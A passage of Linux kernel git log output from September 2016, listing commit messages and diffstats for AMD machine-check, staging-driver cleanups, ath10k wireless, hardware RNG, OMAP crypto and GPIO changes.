2016 +0200 x86/mce/AMD: Update sysfs bank names for SMCA systems Define a bank's sysfs filename based on its IP type and InstanceId. Credits go to Aravind for: * The general idea and proto- get_name(). * Defining smca_umc_block_names[] and buf_mcatype[]. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Cc: Aravind Gopalakrishnan Link: http://lkml.kernel.org/r/1473193490-3291-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce_amd.c | 49 ++++++++++++++++++++++++++++++++++-- 1 file changed, 47 insertions(+), 2 deletions(-) commit 5896820e0aa32572ad03b30563c539655b6c6375 Author: Yazen Ghannam Date: Mon Sep 12 09:59:34 2016 +0200 x86/mce/AMD, EDAC/mce_amd: Define and use tables for known SMCA IP types Scalable MCA defines a number of IP types. An MCA bank on an SMCA system is defined as one of these IP types. A bank's type is uniquely identified by the combination of the HWID and MCATYPE values read from its MCA_IPID register. Add the required tables in order to be able to lookup error descriptions based on a bank's type and the error's extended error code. [ bp: Align comments, simplify a bit. ] Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472741832-1690-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/mce.h | 61 +++++------ arch/x86/kernel/cpu/mcheck/mce_amd.c | 104 ++++++++++++++----- drivers/edac/mce_amd.c | 194 +++++++---------------------------- 3 files changed, 147 insertions(+), 212 deletions(-) commit 856095b1794be487527771dbd2fe28e34e94b266 Author: Yazen Ghannam Date: Mon Sep 12 09:59:33 2016 +0200 EDAC/mce_amd: Use SMCA prefix for error descriptions arrays The error descriptions defined for Fam17h can be reused for other SMCA systems, so their names should reflect this. Change f17h prefix to smca for error descriptions. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472673994-12235-4-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner drivers/edac/mce_amd.c | 80 +++++++++++++++++++++++++------------------------- 1 file changed, 40 insertions(+), 40 deletions(-) commit c019b951e1f9f1de0c5b0726032e3adf34c523a7 Author: Yazen Ghannam Date: Mon Sep 12 09:59:32 2016 +0200 EDAC/mce_amd: Add missing SMCA error descriptions Add missing SMCA error descriptions to the error descriptions arrays. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472673994-12235-3-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner drivers/edac/mce_amd.c | 7 +++++++ 1 file changed, 7 insertions(+) commit cfee4f6f0b2026380c6bc6913dbd27943df17371 Author: Yazen Ghannam Date: Mon Sep 12 09:59:31 2016 +0200 x86/mce/AMD: Read MSRs on the CPU allocating the threshold blocks Scalable MCA systems allow non-core MCA banks to only be accessible by certain CPUs. The MSRs for these banks are Read-as-Zero on other CPUs. During allocate_threshold_blocks(), get_block_address() can be scheduled on CPUs other than the one allocating the block. This causes the MSRs to be read on the wrong CPU and results in incorrect behavior. Add a @cpu parameter to get_block_address() and pass this in to ensure that the MSRs are only read on the CPU that is allocating the block. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472673994-12235-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce_amd.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit bad744b7f29d264c2c2ad8fb723dd480e6c9b007 Author: Yazen Ghannam Date: Mon Sep 12 09:59:30 2016 +0200 x86/RAS: Add syndrome support to mce_amd_inj Add a debugfs file which holds the error syndrome (written into MCA_SYND) of an injected error. Only write it on SMCA systems. Update README file, while at it. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1467633035-32080-3-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/ras/mce_amd_inj.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit b300e87300b68120aa5374341b252875a1cb6ea1 Author: Yazen Ghannam Date: Mon Sep 12 09:59:29 2016 +0200 EDAC/mce_amd: Print syndrome register value on SMCA systems Print SyndV bit status and print the raw value of the MCA_SYND register. Further decoding of the syndrome from struct mce.synd can be done in other places where appropriate, e.g. DRAM ECC. Boris: make the error stanza more compact by putting the error address and syndrome on the same line: [Hardware Error]: Corrected error, no action required. [Hardware Error]: CPU:2 (17:0:0) MC4_STATUS[-|CE|-|PCC|AddrV|-|-|SyndV|CECC]: 0x96204100001e0117 [Hardware Error]: Error Addr: 0x000000007f4c52e3, Syndrome: 0x0000000000000000 [Hardware Error]: Invalid IP block specified. [Hardware Error]: cache level: L3/GEN, tx: DATA, mem-tx: RD Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1467633035-32080-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner drivers/edac/mce_amd.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit db819d60f6720080150a365080ff656cf239f88f Author: Yazen Ghannam Date: Mon Sep 12 09:59:28 2016 +0200 x86/mce: Add support for new MCA_SYND register Syndrome information is no longer contained in MCA_STATUS for SMCA systems but in a new register - MCA_SYND. Add a synd field to struct mce to hold MCA_SYND register value. Add it to the end of struct mce to maintain compatibility with old versions of mcelog. Also, add it to the respective tracepoint. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1467633035-32080-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/mce.h | 5 ++++- arch/x86/include/uapi/asm/mce.h | 1 + arch/x86/kernel/cpu/mcheck/mce.c | 4 ++++ arch/x86/kernel/cpu/mcheck/mce_amd.c | 3 +++ include/trace/events/mce.h | 6 ++++-- 5 files changed, 16 insertions(+), 3 deletions(-) commit 74ab0e7a836a7df772af50cac21267eb43688841 Author: Yazen Ghannam Date: Mon Sep 12 09:59:27 2016 +0200 x86/mce/AMD: Use msr_ops.misc() in allocate_threshold_blocks() Change MSR_IA32_MCx_MISC() macro to msr_ops.misc() because SMCA machines define a different set of MSRs and msr_ops will give you the correct MISC register. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1468269447-8808-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce_amd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ad53e35ae529e65cbd8e75a1e66fdcd10275c8d9 Merge: 6f90f1d aad9e5b Author: Paolo Bonzini Date: Tue Sep 13 15:01:29 2016 +0200 Merge branch 'kvm-ppc-next' of git://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc into HEAD Paul Mackerras writes: The highlights are: * Reduced latency for interrupts from PCI pass-through devices, from Suresh Warrier and me. * Halt-polling implementation from Suraj Jitindar Singh. * 64-bit VCPU statistics, also from Suraj. * Various other minor fixes and improvements. commit 1d191e1057aec4f9f635556d49f4f0ef90b704d4 Author: Bhumika Goyal Date: Tue Sep 13 17:41:26 2016 +0530 Staging: wilc1000: Remove struct typedef Remove typedef from structure tstrRSSI as using typedef for structures is not preferred. Found using coccinelle: @r1@ type T; @@ typedef struct { ... } T; @script:python c1@ T2; T << r1.T; @@ if T[-2:] =="_t": coccinelle.T2 = T[:-2]; print T else: coccinelle.T2=T; @r2@ type r1.T; identifier c1.T2; @@ -typedef struct + T2 { ... } -T ; @r3@ type r1.T; identifier c1.T2; @@ - T + struct T2 Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/coreconfigurator.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 8824ee8573483e1c91691b5be3d3730e75551dce Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:38 2016 +0800 mfd: axp20x: Add support for AXP806 PMIC The X-Powers AXP806 is a new PMIC that is paired with Allwinner's A80 SoC, along with a master AXP809 PMIC. This PMIC has a new register layout, and supports some functions not seen in other X-Powers PMICs, such as master-slave mode, or having multiple AXP806 PMICs on the same bus with address space extension, or supporting both I2C and RSB mode. I2C has not been tested. This patch adds support for the interrupts of the PMIC. A regulator sub-device is enabled, but actual regulator support will come in a later patch. Signed-off-by: Chen-Yu Tsai Signed-off-by: Lee Jones drivers/mfd/axp20x-rsb.c | 1 + drivers/mfd/axp20x.c | 72 ++++++++++++++++++++++++++++++++++++++++++++++ include/linux/mfd/axp20x.h | 60 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 133 insertions(+) commit 204ae2963e101344e50e3a679912f795e6b852c5 Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:37 2016 +0800 mfd: axp20x: Add bindings for AXP806 PMIC This patch adds the basic and regulator bindings for the X-Powers AXP806 PMIC. Signed-off-by: Chen-Yu Tsai Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/axp20x.txt | 28 ++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) commit 65f5c3ea622dfca230e96e5098603f1df9e0a902 Author: Ryan Swan Date: Mon Sep 12 09:58:20 2016 -0400 staging: vme/devices: vme_user.c: fix: converted decimal permissions to octal Ran checkpatch.pl -f vme_user.c Fixed: ERROR: Use 4 digit octal (0777) not decimal permissions Signed-off-by: Ryan Swan Signed-off-by: Greg Kroah-Hartman drivers/staging/vme/devices/vme_user.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b9ac4b65b5c0b16a34c12e3f0a3edf1452d4c34a Author: sayli karnik Date: Mon Sep 12 20:54:07 2016 +0530 staging: gs_fpga_boot: Remove multiple blank lines This patch fixes the following checkpatch warning for the gs_fpgaboot driver: CHECK: Please don't use multiple blank lines. Signed-off-by: sayli karnik Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/gs_fpgaboot/io.h | 2 -- 1 file changed, 2 deletions(-) commit c7e65f4d2f7968de8605ef1b83ac1019e8e51d22 Author: sayli karnik Date: Tue Sep 13 02:47:28 2016 +0530 staging: ks7010: Remove the explicit NULL comparison The patch removes the explicit null comparisons entirely for the ks7010 driver. This was detected by checkpatch.pl Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 14 +++++++------- drivers/staging/ks7010/ks_hostif.c | 30 +++++++++++++++--------------- drivers/staging/ks7010/ks_wlan_net.c | 2 +- 3 files changed, 23 insertions(+), 23 deletions(-) commit 8b70d6961f03483a7c9db9aecba2c3b3b467cce2 Author: Mike Kofron Date: Mon Sep 12 14:23:31 2016 -0400 staging: netlogic: Make net_device_ops const This patch fixes the checkpatch.pl warning: WARNING: struct net_device_ops should normally be const Signed-off-by: Mike Kofron Signed-off-by: Greg Kroah-Hartman drivers/staging/netlogic/xlr_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b8a7b474672321c7f0550620b32cd676501c3506 Author: Bhumika Goyal Date: Tue Sep 13 00:38:19 2016 +0530 Staging: vt6655: Remove unused function vnt_key_init_table The function vnt_key_init_table is not used anywhere in the kernel. Therefore, remove the function definition and prototype. Grepped to find occurences. Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/key.c | 10 ---------- drivers/staging/vt6655/key.h | 2 -- 2 files changed, 12 deletions(-) commit c371ffa79c4ca29b8cd7da4d30157179162130c8 Author: Gargi Sharma Date: Tue Sep 13 00:42:07 2016 +0530 staging: slicoss: add new line after struct declaration checkpatch generates a warning for no blank line after struct declaration. Inserted a new line. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 1 + 1 file changed, 1 insertion(+) commit 602facfd96397298461cd71f6a6f9e17b82f9788 Author: Andrey Shvetsov Date: Mon Sep 12 16:26:14 2016 +0200 staging: most: core: constify structure member This patch adds the const qualifier to the declaration of the member name_suffix of structure most_channel_capability. It is needed since it points to string literals. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/mostcore/mostcore.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc5f96a15658f390aba8688408526542c9329d7e Author: Christian Gromm Date: Mon Sep 12 16:26:13 2016 +0200 staging: most: core: show all linked channels This patch is needed to have all linked channels being reported by the show() function of the attribute file add_link. Currently user space can only read back the latest link that has been established to a certain channel. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/mostcore/core.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit 25b80dbe3fa6d76d8f19af0623d1fd8ed0dd671e Author: Bhumika Goyal Date: Mon Sep 12 23:02:47 2016 +0530 Staging: comedi: drivers: Delete NULL check before pci_dev_put The function pci_dev_put checks whether its argument is NULL and returns immediately. Therefore, NULL test before the call if not needed. Found using coccinelle: @@ expression x; @@ - if(x) - pci_dev_put(x); + pci_dev_put(x); Signed-off-by: Bhumika Goyal Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/adl_pci9118.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 6e30293976983daf09eea8e882d48a09c80d5987 Author: Matias Mucciolo Date: Mon Sep 12 10:18:59 2016 -0300 staging: comedi: comedi_fops: coding style fixes - Fixed coding style in comedi_fops.c Symbolic to octal permission. Signed-off-by: Matias Mucciolo Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/comedi_fops.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 601e59fa5149f428737c569b7f8a01c6ccb3e223 Author: sayli karnik Date: Mon Sep 12 17:13:09 2016 +0530 staging: gdm724x: Add spaces around the '*' operator This patch fixes the checkpatch.pl warning: Spaces required around the '*' operator. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/gdm_mux.h | 4 ++-- drivers/staging/gdm724x/gdm_usb.h | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) commit 4a2a867f5bada15b3f81168089258a28eb02dc04 Author: Shaily Sangwan Date: Tue Sep 13 02:54:14 2016 +0530 staging: rtl8712: fix block comments This patch fixes the following checkpatch.pl warning: Block comments use * on subsequent lines Signed-off-by: Shaily Sangwan Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_recv.h | 14 +- drivers/staging/rtl8712/rtl871x_cmd.h | 264 ++++++++++++++++----------------- 2 files changed, 139 insertions(+), 139 deletions(-) commit 12bc1d1e9cb18176dcd80564067114b32d189d24 Author: Omri Arad Date: Mon Sep 12 21:02:25 2016 +0300 staging: rtl8712: fix coding style error reported from checkpatch removed the following: ERROR: code indent should use tabs where possible WARNING: please, no spaces at the start of a line WARNING: Statements should start on a tabstop Signed-off-by: Omri Arad Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl871x_ioctl_linux.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d147d54899339b321f8319dfb25d05f1eec0e77d Author: Linus Walleij Date: Tue Sep 13 14:43:23 2016 +0200 Revert "gpio: pca953x: initialize ret to zero to avoid returning garbage" This reverts commit 313b9a9938bf4076425741121d5d766826793e5d. This was already fixed by commit bf62efeb164343916ebb89dca6dfe5e6b6751700 "gpio: pca954x: fix undefined error code from remove" The latter is a better fix since it makes it easier to detect erronous code by not assigning a default error code. Reported-by: Arnd Bergmann Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e2753293ac4bce8623650bb2d610b7e657bc869f Author: Dave Hansen Date: Mon Sep 12 13:38:42 2016 -0700 x86/pkeys: Fix pkeys build breakage for some non-x86 arches Guenter Roeck reported breakage on the h8300 and c6x architectures (among others) caused by the new memory protection keys syscalls. This patch does what Arnd suggested and adds them to kernel/sys_ni.c. Fixes: a60f7b69d92c ("generic syscalls: Wire up memory protection keys syscalls") Reported-and-tested-by: Guenter Roeck Signed-off-by: Dave Hansen Acked-by: Arnd Bergmann Cc: linux-arch@vger.kernel.org Cc: Dave Hansen Cc: linux-api@vger.kernel.org Link: http://lkml.kernel.org/r/20160912203842.48E7AC50@viggo.jf.intel.com Signed-off-by: Thomas Gleixner kernel/sys_ni.c | 5 +++++ 1 file changed, 5 insertions(+) commit 95b5bf7ccca0d7ba575a7e26a7ed4146b9190071 Author: Vasanthakumar Thiagarajan Date: Fri Sep 9 17:25:36 2016 +0300 ath10k: remove 4-addr padding related hw_param configuration hw_4addr_pad was added to handle different types of padding in 4-address rx frame. But this padding is not very specific to 4-address, it can happen even with three address + ethernet decap mode. Since the padding information can be obtained through Rx desc for QCA99X0 and newer chips, this hw_param is not needed any more. Signed-off-by: Vasanthakumar Thiagarajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 9 --------- drivers/net/wireless/ath/ath10k/hw.h | 8 -------- 2 files changed, 17 deletions(-) commit 9e19e13261423eeb4398177001daa874c2128aa4 Author: Vasanthakumar Thiagarajan Date: Fri Sep 9 17:25:29 2016 +0300 ath10k: properly remove padding from the start of rx payload In QCA99X0 (QCA99X0, QCA9984, QCA9888 and QCA4019) family chips, hw adds padding at the begining of the rx payload to make L3 header 4-byte aligned. In the chips doing this type of padding, the number of bytes padded will be indicated through msdu_end:info1. Define a hw_rx_desc_ops wrapper to retrieve the number of padded bytes and use this while doing undecap. This should fix padding related issues with ethernt decap format with QCA99X0, QCA9984, QCA9888 and QCA4019 hw. Signed-off-by: Vasanthakumar Thiagarajan [Rename operations to hw_ops for other purposes] Signed-off-by: Benjamin Berg Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/htt_rx.c | 36 +++++++++++++++++++------------- drivers/net/wireless/ath/ath10k/hw.h | 9 ++++++++ 2 files changed, 31 insertions(+), 14 deletions(-) commit ae02c8719aab19bf311b6ce2881feb844456297e Author: Vasanthakumar Thiagarajan Date: Fri Sep 9 17:25:22 2016 +0300 ath10k: add provision for Rx descriptor abstraction There are slight differences in Rx hw descriptor information among different chips. So far driver does not use those new information for any functionalities, but there is one important information which is available from QCA99X0 onwards to indicate the number of bytes that hw padded at the begining of the rx payload and this information is needed to undecap the rx packet. Add an abstraction for Rx desc to make use of the new desc information available. The callback that this patch defines to retrieve the padding bytes will be used in follow-up patch. Signed-off-by: Vasanthakumar Thiagarajan [Rename operations to hw_ops for other purposes] Signed-off-by: Benjamin Berg Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 12 ++++++++++++ drivers/net/wireless/ath/ath10k/hw.c | 13 +++++++++++++ drivers/net/wireless/ath/ath10k/hw.h | 12 ++++++++++++ 3 files changed, 37 insertions(+) commit 43d923e2c192ecef19447dc2b0ca0bab6d8b1f64 Author: Vasanthakumar Thiagarajan Date: Fri Sep 9 17:25:13 2016 +0300 ath10k: move ath10k_hw_params definition to hw.h This is to prepare for rx descriptor abstraction where we'll be dereferencing ath10k_hw_params member in hw.h. Moreover hw.h looks more suitable to house ath10k_hw_params definition than core.h Signed-off-by: Vasanthakumar Thiagarajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.h | 53 +--------------------------------- drivers/net/wireless/ath/ath10k/hw.h | 53 ++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+), 52 deletions(-) commit 3040420158c139f64776935587bfad2584152f4c Author: Ben Greear Date: Thu Aug 18 18:26:35 2016 -0700 ath10k: improve logging message Helps to know the sta pointer. Signed-off-by: Ben Greear [kvalo@qca.qualcomm.com: add %pK and remove the colon] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 36e09e1f874baf581604a76ce81aae0538eb0a23 Author: Masahiro Yamada Date: Tue Sep 13 04:27:54 2016 +0900 crypto: squash lines for simple wrapper functions Remove unneeded variables and assignments. Signed-off-by: Masahiro Yamada Signed-off-by: Herbert Xu crypto/crct10dif_generic.c | 5 +---- crypto/mcryptd.c | 7 +------ drivers/crypto/hifn_795x.c | 12 ++---------- 3 files changed, 4 insertions(+), 20 deletions(-) commit e9afc746299d39f415fdb13b1213137deb4fc497 Author: PrasannaKumar Muralidharan Date: Sun Sep 11 20:54:26 2016 +0530 hwrng: geode - Use linux/io.h instead of asm/io.h Fix checkpatch.pl warning by changing from asm/io.h to linux/io.h. In the mean time arrange the includes in alphabetical order. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/geode-rng.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 6e9b5e76882cbdd99caaea50ef3917a31edead75 Author: PrasannaKumar Muralidharan Date: Sun Sep 11 20:53:21 2016 +0530 hwrng: geode - Migrate to managed API Use devm_ioremap and devm_hwrng_register instead of ioremap and hwrng_register. This removes error handling code. Also moved code around by removing goto statements. This improves code readability. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/geode-rng.c | 50 ++++++++++++-------------------------- 1 file changed, 15 insertions(+), 35 deletions(-) commit 94879fa82275f161f3b4fdabab00cd4d625781f3 Author: Wei Yongjun Date: Sat Sep 10 12:03:42 2016 +0000 hwrng: st - Fix missing clk_disable_unprepare() on error in st_rng_probe() Fix the missing clk_disable_unprepare() before return from st_rng_probe() in the error handling case. Signed-off-by: Wei Yongjun Acked-by: Patrice Chotard Acked-by: Peter Griffin Signed-off-by: Herbert Xu drivers/char/hw_random/st-rng.c | 1 + 1 file changed, 1 insertion(+) commit 31b2a73c9c5f1f02c896c4e434957b831dd50a7f Author: PrasannaKumar Muralidharan Date: Fri Sep 9 13:28:23 2016 +0530 hwrng: amd - Migrate to managed API Managed API eliminates error handling code, thus reduces several lines of code. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 48 +++++++++------------------------------- 1 file changed, 11 insertions(+), 37 deletions(-) commit 58b022acac8dd435dad0b162ad92cbe8ec90a703 Author: PrasannaKumar Muralidharan Date: Wed Sep 7 20:18:02 2016 +0530 hwrng: core - Allocate memory during module init In core rng_buffer and rng_fillbuf is allocated in hwrng_register only once and it is freed during module exit. This patch moves allocating rng_buffer and rng_fillbuf from hwrng_register to rng core's init. This avoids checking whether rng_buffer and rng_fillbuf was allocated from every hwrng_register call. Also moving them to module init makes it explicit that it is freed in module exit. Change in v2: Fix memory leak when register_miscdev fails. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/core.c | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) commit 378bc4ed74a6c30c25012935c7af175501dda374 Author: Giovanni Cabiddu Date: Tue Sep 6 11:18:51 2016 +0100 crypto: qat - fix leak on error path Fix a memory leak in an error path in uc loader. Signed-off-by: Giovanni Cabiddu Signed-off-by: Herbert Xu drivers/crypto/qat/qat_common/qat_uclo.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a826806b7c598f65a7b1322235ab049b1cbd8b16 Author: PrasannaKumar Muralidharan Date: Tue Sep 6 13:58:39 2016 +0530 hwrng: pasemi - Use linux/io.h instead of asm/io.h Checkpatch.pl warns about usage of asm/io.h. Use linux/io.h instead. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/pasemi-rng.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1d1f98d180fff442f69813c278bb7c618687757b Author: Tero Kristo Date: Thu Aug 4 13:28:46 2016 +0300 crypto: omap-des - fix crypto engine initialization order The crypto engine must be initialized before registering algorithms, otherwise the test manager will crash as it attempts to execute tests for the algos while they are being registered. Fixes: f1b77aaca85a ("crypto: omap-des - Integrate with the crypto engine framework") Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-des.c | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) commit 0d0cda93de95aee704dfbf2d6a626193431caf43 Author: Tero Kristo Date: Thu Aug 4 13:28:45 2016 +0300 crypto: omap-aes - fix crypto engine initialization order The crypto engine must be initialized before registering algorithms, otherwise the test manager will crash as it attempts to execute tests for the algos while they are being registered. Fixes: 0529900a01cb ("crypto: omap-aes - Support crypto engine framework") Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-aes.c | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) commit 8c1d7fa53166dd82bcf6be5ffc83bc4066150bf5 Author: Thomas Pedersen Date: Tue Sep 6 12:05:28 2016 -0700 ath10k: enable peer stats by default IFTYPE_MESH_POINT need to rely on these for accurate path selection metrics. Other modes will probably also find them useful. Enabling peer stats has the side effect of reducing max number of STAs from 128 to 118. There should be negligible performance impact. If users really need 128 STAs and don't mind losing out on peer stats, they can still disable them: echo 0 > debugfs/ieee80211/phyn/ath10k/peer_stats Signed-off-by: Thomas Pedersen Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 3 +++ 1 file changed, 3 insertions(+) commit 214d553944815245897f6ac71f0b2e1905badcd9 Author: Chaehyun Lim Date: Mon Sep 5 22:38:02 2016 +0900 ath10k: remove unused variable ar_pci Trival fix to remove unused variable ar_pci in ath10k_pci_tx_pipe_cleanup when building with W=1: drivers/net/wireless/ath/ath10k/pci.c:1696:21: warning: variable 'ar_pci' set but not used [-Wunused-but-set-variable] Signed-off-by: Chaehyun Lim Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/pci.c | 2 -- 1 file changed, 2 deletions(-) commit 5f4761dda2ba3743ceb5eb5b5e7483172927831a Author: Colin Ian King Date: Sat Sep 3 17:38:19 2016 +0100 ath10k: fix memory leak on caldata on error exit path caldata is not being free'd on the error exit path, causing a memory leak and data definitely should not be freed. Free caldata instead of data. Thanks to Kalle Valo for spotting that data should not be free'd. Signed-off-by: Colin Ian King Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/pci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9fcb191a84eb5c46004b66cc449b45b4d9a2da91 Author: Lokesh Vutla Date: Thu Aug 4 13:28:44 2016 +0300 crypto: omap-aes - Add fallback support As setting up the DMA operations is quite costly, add software fallback support for requests smaller than 200 bytes. This change gives some 10% extra performance in ipsec use case. Signed-off-by: Lokesh Vutla [t-kristo@ti.com: udpated against latest upstream, to use skcipher mainly] Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/Kconfig | 3 +++ drivers/crypto/omap-aes.c | 53 +++++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 52 insertions(+), 4 deletions(-) commit 164f3ef301bff9741a00ff7015f9d51f1b864201 Author: Lokesh Vutla Date: Thu Aug 4 13:28:43 2016 +0300 crypto: omap-aes - Add support for multiple cores Some SoCs like omap4/omap5/dra7 contain multiple AES crypto accelerator cores. Adapt the driver to support this. The driver picks the last used device from a list of AES devices. Signed-off-by: Lokesh Vutla [t-kristo@ti.com: forward ported to 4.7 kernel] Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-aes.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit f303b455bb95233297c179b525a851a792e469b2 Author: Tero Kristo Date: Thu Aug 4 13:28:42 2016 +0300 crypto: omap-aes - use runtime_pm autosuspend for clock handling Calling runtime PM API at the cra_init/exit is bad for power management purposes, as the lifetime for a CRA can be very long. Instead, use pm_runtime autosuspend approach for handling the device clocks. Clocks are enabled when they are actually required, and autosuspend disables these if they have not been used for a sufficiently long time period. By default, the timeout value is 1 second. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-aes.c | 43 ++++++++++++++++--------------------------- 1 file changed, 16 insertions(+), 27 deletions(-) commit cb8d5c8346640f3622bc832fede4b514096f762e Author: Tero Kristo Date: Thu Aug 4 13:28:40 2016 +0300 crypto: omap-sham - fix SW fallback HMAC handling for omap2/omap3 If software fallback is used on older hardware accelerator setup (OMAP2/ OMAP3), the first block of data must be purged from the buffer. The first block contains the pre-generated ipad value required by the HW, but the software fallback algorithm generates its own, causing wrong results. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 5a793bcadbe97df7823598b429c0af052e50df1c Author: Tero Kristo Date: Thu Aug 4 13:28:39 2016 +0300 crypto: omap-sham - fix software fallback handling If we have processed any data with the hardware accelerator (digcnt > 0), we must complete the entire hash by using it. This is because the current hash value can't be imported to the software fallback algorithm. Otherwise we end up with wrong hash results. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e7813a0b2aebb210416a418595ceb91ba4e5a37 Author: Tero Kristo Date: Thu Aug 4 13:28:36 2016 +0300 crypto: omap-sham - avoid executing tasklet where not needed Some of the call paths of OMAP SHA driver can avoid executing the next step of the crypto queue under tasklet; instead, execute the next step directly via function call. This avoids a costly round-trip via the scheduler giving a slight performance boost. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) commit e50237c7c298f7966f8445efc7119f87d3add484 Author: Linus Walleij Date: Tue Sep 13 13:43:34 2016 +0200 gpio: aspeed: add MODULE_LICENSE() The build complains about missing MODULE_LICENSE() in the Aspeed GPIO driver. The license is evident 